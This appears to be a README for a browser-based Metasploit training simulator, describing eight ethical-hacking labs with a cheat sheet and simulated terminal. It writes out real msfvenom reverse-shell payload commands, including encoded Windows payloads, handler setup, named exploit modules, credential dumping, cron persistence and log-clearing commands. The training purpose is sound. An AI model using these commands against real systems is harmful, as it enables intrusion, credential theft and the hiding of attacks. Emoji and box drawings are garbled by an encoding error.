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## https://sploitus.com/exploit?id=89CF473D-82C3-5C60-8E75-259F91AAD8D3
# π‘οΈ Metasploit Simulation Lab β Ethical Hacking Training
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## Overview
The **Metasploit Simulation Lab** is an **immersive, terminal-based training environment** that teaches ethical hacking methodology through realistic Metasploit Framework simulations. Practice **reconnaissance, exploitation, post-exploitation, privilege escalation, and persistence** techniques in a completely safe, sandboxed environment β no real systems harmed.
The lab features **8 guided exercises**, a **dynamic cheat sheet** with 40+ commands, a **Meterpreter session simulator**, and a **multi-mode terminal** that mimics `bash`, `msfconsole`, and `meterpreter` environments with authentic output.
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## β¨ Key Features
### π― **Core Training Loop**
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β SELECT LAB β GENERATE PAYLOAD β START HANDLER β TRIGGER SHELL β
β β POST-EXPLOIT β PERSISTENCE β COVER TRACKS β COMPLETE β
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```
### π **8 Guided Training Labs** with escalating complexity
| Lab | Title | Difficulty | Time | Objectives |
| --- | ---------------------------------- | ---------- | ------ | ---------- |
| 01 | Establishing a Meterpreter Session | π’ EASY | 30 min | 5 |
| 02 | Exploitation Basics | π’ EASY | 30 min | 5 |
| 03 | Privilege Escalation | π‘ MEDIUM | 40 min | 4 |
| 04 | Web Application Attack | π‘ MEDIUM | 30 min | 4 |
| 05 | Fuzzing Test | π’ EASY | 30 min | 2 |
| 06 | Persistence Tactics | π΄ HARD | 40 min | 4 |
| 07 | Full Penetration Test | π΄ HARD | 20 min | 5 |
| 08 | Simulate a Network Breach | π΄ HARD | 30 min | 4 |
### π₯οΈ **3 Terminal Modes**
| Mode | Prompt | Purpose |
| --------------------- | ----------------- | ------------------------------------------ |
| **Bash Shell** | `kali@lab:~$` | System commands, payload generation, setup |
| **msfconsole** | `msf6 >` | Metasploit framework interaction, exploits |
| **Meterpreter** | `meterpreter >` | Post-exploitation, pivoting, persistence |
### π οΈ **40+ Realistic Commands Simulated**
| Category | Commands |
| ------------------------------ | --------------------------------------------------------------------------------------------------------- |
| **Metasploit** | `msfconsole`, `msfvenom`, `use exploit/multi/handler`, `set PAYLOAD/LHOST/LPORT`, `run/exploit` |
| **Recon** | `nmap`, `show exploits/payloads/auxiliary`, `search`, `info` |
| **Exploitation** | `searchsploit`, `exploit CVE-2021-41773`, `use exploit/windows/smb/ms17_010_eternalblue` |
| **Post-Exploit** | `getuid`, `sysinfo`, `pwd`, `ls`, `cat`, `download`, `ps`, `id`, `whoami` |
| **Privilege Escalation** | `sessions -i`, `background`, `use post/multi/recon/local_exploit_suggester`, `sudo su -` |
| **Persistence** | `load kiwi`, `creds_all`, `migrate`, `clearev`, `persistence` |
| **Web Attacks** | `sqlmap`, `setoolkit`, `curl`, `auxiliary/scanner/http/sql_injection` |
| **Evasion** | `proxychains`, `cover_tracks`, `timestomp` |
| **Database** | `sudo msfdb init`, `sudo msfdb reinit`, `sudo systemctl start postgresql` |
### π **Dynamic Training Systems**
#### **Session Management** π₯οΈ
- Spawn Meterpreter sessions by triggering payloads
- List active sessions with `sessions -l`
- Interact with sessions using `sessions -i `
- Background sessions with `background`
- Real-time session counter in status bar
#### **Lab Progress Tracking** π
- Complete lab steps to increase progress percentage
- Visual progress bar in status panel (0-100%)
- Each lab includes step-by-step guided instructions
- "Run in terminal" buttons auto-fill commands
#### **Post-Exploitation Simulator** π
- Authentic Meterpreter output for `getuid`, `sysinfo`, `pwd`, `ls`
- Credential harvesting simulation with `load kiwi` and `creds_all`
- Process migration with `migrate `
- Cron persistence via `post/linux/manage/cron_persistence`
- Windows event log clearing simulation
#### **Payload Generation** π§¬
| Payload Type | Command |
| ------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| Linux x64 ELF | `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf` |
| PHP Reverse Shell | `msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php` |
| Encoded Windows Executable (Shikata Ga Nai) | `msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f exe > shell.exe` |
### π₯οΈ **Authentic Terminal Experience**
- **Matrix-green primary color** (`#00e536`) β classic hacker aesthetic
- **Three distinct prompt styles** for bash, msf, and meterpreter
- **Command history navigation** with arrow keys (β/β)
- **Realistic Metasploit banner** on launch
- **Click-to-inject commands** from cheat sheet and labs
- **Tabbed reference panels** for payloads, exploits, post-exploit, and web attacks
- **Scrollable terminal output** with custom scrollbar
### π¨ **Cyber Security Interface Design**
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β β β β Metasploit Simulation Lab β Ethical Hacking Training v6.3 β
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β NAVIGATION β ββββββββββββ¬βββββββββββββ¬βββββββββββββ¬βββββββββββββ β
β β² Terminal β β Console β Payloads β Exploits β Post-Exploitβ β
β β° Cheat Sheetβ ββββββββββββ΄βββββββββββββ΄βββββββββββββ΄βββββββββββββ β
β βΆ Labs β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Sessions β β msf6 > use exploit/multi/handler β β
β β β [*] Using configured payload generic/shell_reverse_tcpβ β
β CONTEXT β β msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp β β
β β bash shellβ β PAYLOAD => linux/x64/meterpreter/reverse_tcp β β
β β msf6 consoleβ β msf6 > set LHOST 127.0.0.1 β β
β β meterpreterβ β LHOST => 127.0.0.1 β β
β β β msf6 > run β β
β QUICK CMDS β β [*] Started reverse TCP handler on 127.0.0.1:4444 β β
β msfconsole β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β use handler β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β show exploitsβ β Quick: [msfconsole] [init db] [nmap scan] [gen payload]β β
β show payloadsβ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β sessions -l β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β getuid β β kali@lab:~$ β β β
β sysinfo β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β help β β
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β β simulation active postgresql: running mode: bash lab progress βββ 45% β
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```
---
## π Quick Start Guide
### **Step 1: Launch Metasploit**
```
kali@lab:~$ msfconsole
```
The Metasploit banner will display with version and module counts. Your prompt changes to `msf6 >`.
### **Step 2: Explore Available Modules**
```
msf6 > show exploits
msf6 > show payloads
msf6 > show auxiliary
```
View the 2373 exploits, 1396 payloads, and 1232 auxiliary modules simulated.
### **Step 3: Open a Lab**
Click the **Labs** tab in the sidebar, then expand any lab card. Each lab contains:
- **Overview** β What you'll learn
- **Step-by-step instructions** β Commands to run
- **Explanation** β Why each command matters
- **Run in terminal** β Auto-fills commands
### **Step 4: Generate a Payload**
```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf
```
### **Step 5: Set Up Handler**
```
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 127.0.0.1
msf6 > set LPORT 4444
msf6 > run
```
### **Step 6: Trigger the Payload**
Open a new terminal (simulated by switching mode or using a lab step) and run:
```
sudo -u victim /home/victim/shell64.elf
```
A Meterpreter session opens automatically.
### **Step 7: Interact with Session**
```
msf6 > sessions -l
msf6 > sessions -i 1
meterpreter > getuid
meterpreter > sysinfo
```
### **Step 8: Post-Exploitation**
```
meterpreter > pwd
meterpreter > ls
meterpreter > cat flag.txt
```
### **Step 9: Persistence (Optional)**
```
meterpreter > background
msf6 > use post/linux/manage/cron_persistence
msf6 > set SESSION 1
msf6 > run
```
### **Step 10: Complete Lab**
Return to the lab interface, mark steps complete, and proceed to the next exercise.
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## π― Training Mechanics Deep Dive
### **Supported Exploit Modules**
| Module | Type | Description |
| -------------------------------------------- | ------- | --------------------------------------------- |
| `exploit/windows/smb/ms17_010_eternalblue` | Remote | EternalBlue SMBv3 exploit (Windows) |
| `exploit/linux/local/dirty_cow` | Local | Dirty COW privilege escalation (Linux) |
| `exploit/linux/local/pkexec` | Local | CVE-2021-4034 pkexec privilege escalation |
| `exploit/multi/http/apache_path_traversal` | Web | Apache 2.4.49 path traversal (CVE-2021-41773) |
| `exploit/multi/http/php_cgi_arg_injection` | Web | PHP CGI argument injection (CVE-2012-1823) |
| `exploit/multi/http/tomcat_mgr_upload` | Web | Tomcat Manager upload vulnerability |
| `exploit/windows/local/bypassuac` | Local | Windows UAC bypass |
| `exploit/windows/smb/psexec` | Lateral | PsExec lateral movement |
### **Payload Generation Examples**
| Target Platform | Payload | Command |
| ------------------ | --------------------------------------- | -------------------------------------------------------------------------------------------------- |
| Linux x64 | `linux/x64/meterpreter/reverse_tcp` | `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf` |
| Windows x64 | `windows/x64/meterpreter/reverse_tcp` | `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o shell.exe` |
| PHP | `php/meterpreter/reverse_tcp` | `msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php` |
| Linux x64 (staged) | `linux/x64/shell_reverse_tcp` | `msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf` |
### **Post-Exploitation Commands**
| Command | Purpose | Example Output |
| ----------------- | ------------------------------------ | ------------------------------------------------- |
| `getuid` | Show current user | `Server username: victim` |
| `sysinfo` | Display system information | `OS: Ubuntu 22.04.3 (Linux 6.1.0-kali5-amd64)` |
| `pwd` | Print working directory | `/home/victim` |
| `ls` | List files | `shell64.elf .bashrc` |
| `cat ` | Read file contents | `FLAG{meterpreter_lab_complete}` |
| `load kiwi` | Load Mimikatz-like credential module | `Loading extension kiwi... Success.` |
| `creds_all` | Dump credentials | `Username: victim Hash: $6$simulated$xxxxxxxx` |
| `migrate ` | Move to another process | `[*] Migrating from PID 5432 to 1234...` |
| `clearev` | Clear Windows event logs | `[!] Clearing event logs... (simulated)` |
| `background` | Background current session | `[*] Backgrounding session 1...` |
### **Cheat Sheet Categories**
The built-in cheat sheet provides quick reference for:
| Tab | Content |
| ---------------------- | ---------------------------------------------------------------------------------------- |
| **Console** | Setup & launch commands:`msfconsole`, `sudo msfdb init`, `nmap`, module management |
| **Payloads** | Payload types (single/stager/staged) and msfvenom generation commands |
| **Exploits** | Remote, local, client-side, web, and PHP RCE exploit modules |
| **Post-Exploit** | Privilege escalation, persistence, credential dumping, log clearing, process migration |
| **Web/Social** | SQL injection, PHP RCE, file upload, SEToolkit phishing simulation |
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## π οΈ Technical Implementation
### **Architecture**
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β β Game State (STATE) β β
β β β’ mode (normal/msf/meterp) β β
β β β’ sessCnt (active sessions) β β
β β β’ labProg (training progress) β β
β β β’ curMod (terminal/cheatsheet/labs/sessions) β β
β β β’ curTab (main/payloads/exploits/post/web) β β
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β β Data Layer β β
β β β’ LABS (8 training exercises) β β
β β β’ CHEAT_SHEET (40+ commands organized in 5 tabs) β β
β β β’ COMMAND_MAP (normal/msf/meterp contexts) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
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β β Command Processor β β
β β β’ 40+ simulated commands β β
β β β’ Context-aware routing (bash/msf/meterp) β β
β β β’ Realistic output formatting β β
β β β’ Fallback handler for unknown commands β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
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β β UI Renderer β β
β β β’ Terminal output with color coding β β
β β β’ Lab expansion/collapse β β
β β β’ Session list with interact buttons β β
β β β’ Cheat sheet with click-to-inject β β
β β β’ Progress bar animation β β
β β β’ Command history (β/β navigation) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
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```
### **Key Functions**
```javascript
// Core simulation
run() // Execute command from input
handle(result) // Process and display command output
fallback(cmd) // Handle unknown commands with smart guesses
// Mode management
setMode(mode) // Switch between bash/msf/meterpreter
switchMod(mod) // Change sidebar panel (terminal/labs/sessions/cheatsheet)
switchTab(tab) // Change cheat sheet tab
// Session simulation
upSess() // Update session counter and UI
openSess(id) // Interact with session by ID
// Lab system
renderLabs() // Generate lab cards
togLab(id) // Expand/collapse lab
runStep(cmds) // Auto-fill commands from lab steps
// UI helpers
printLine(type, text) // Color-coded terminal output
printPrompt(cmd) // Display prompt + command
scroll() // Auto-scroll terminal
clr() // Clear terminal
inj(cmd) // Inject command into input
```
### **Command Routing Logic**
```javascript
// Context-aware command execution
var ctx = cmds[mode]; // 'normal', 'msf', or 'meterp'
var fn = ctx[key]; // Look up command in current mode
// Fallback handles:
// - 'set VAR value' β returns 'VAR => value'
// - 'use module' β returns '[*] Module: module'
// - 'info module' β returns '[*] Loading info: module'
// - 'search term' β returns '[*] Searching: term'
// - 'sudo cmd' β returns '[*] Executing with sudo...'
```
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## π Training Statistics
| Metric | Value |
| -------------------------------- | -------------------------- |
| **Total Labs** | 8 |
| **Total Lab Steps** | 33 |
| **Simulated Commands** | 40+ |
| **Terminal Modes** | 3 (bash, msf, meterpreter) |
| **Cheat Sheet Categories** | 5 |
| **Cheat Sheet Commands** | 40+ |
| **Exploit Modules** | 8+ (simulated) |
| **Payload Types** | 10+ |
| **Post-Exploit Commands** | 12+ |
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## π Browser Compatibility
| Browser | Support |
| ------------- | -------------------------------------------------- |
| Chrome | β
Full support |
| Firefox | β
Full support |
| Safari | β
Full support |
| Edge | β
Full support |
| Opera | β
Full support |
| Mobile Chrome | β οΈ Limited (terminal experience best on desktop) |
| Mobile Safari | β οΈ Limited (terminal experience best on desktop) |
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## π¦ Performance
- **Load Time**: β οΈ **Disclaimer**: This tool is for learning cybersecurity concepts in a controlled, simulated environment. Always obtain proper authorization before testing any system in the real world.
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## π License
MIT License β see LICENSE file for details.
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## ππΏ Acknowledgments
- **Metasploit Framework** β Rapid7's legendary penetration testing framework
- **Offensive Security** β Kali Linux and OSCP certification inspiration
- **MITRE ATT&CK** β Adversarial tactics, techniques, and procedures
- **OWASP** β Web application security testing methodology
- **Hack The Box / TryHackMe** β Gamified cybersecurity training inspiration
---
## π§ Contact & Contributions
- **GitHub Issues**: [Report bugs or request features](https://github.com/yourusername/metasploit-simulation-lab/issues)
- **Pull Requests**: Welcome for additional labs, commands, or improvements
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## π Future Enhancements
- [ ] Add 5+ advanced labs (buffer overflow, AV evasion, domain pivoting)
- [ ] Realistic Metasploit database integration simulation
- [ ] Multi-user session persistence across page reloads
- [ ] Custom payload builder interface
- [ ] Vulnerability scanner simulation (Nessus/OpenVAS)
- [ ] Report generation for completed labs
- [ ] Achievement system (first session, privilege escalation, etc.)
- [ ] Dark mode / light mode toggle
- [ ] Sound effects for session opens (optional)
- [ ] Progressive difficulty scaling
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π‘οΈ Metasploit Simulation Lab β Master Ethical Hacking Methodology π‘οΈ
Learn. Practice. Simulate. Never Exploit Without Permission.
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*Last updated: June 2026*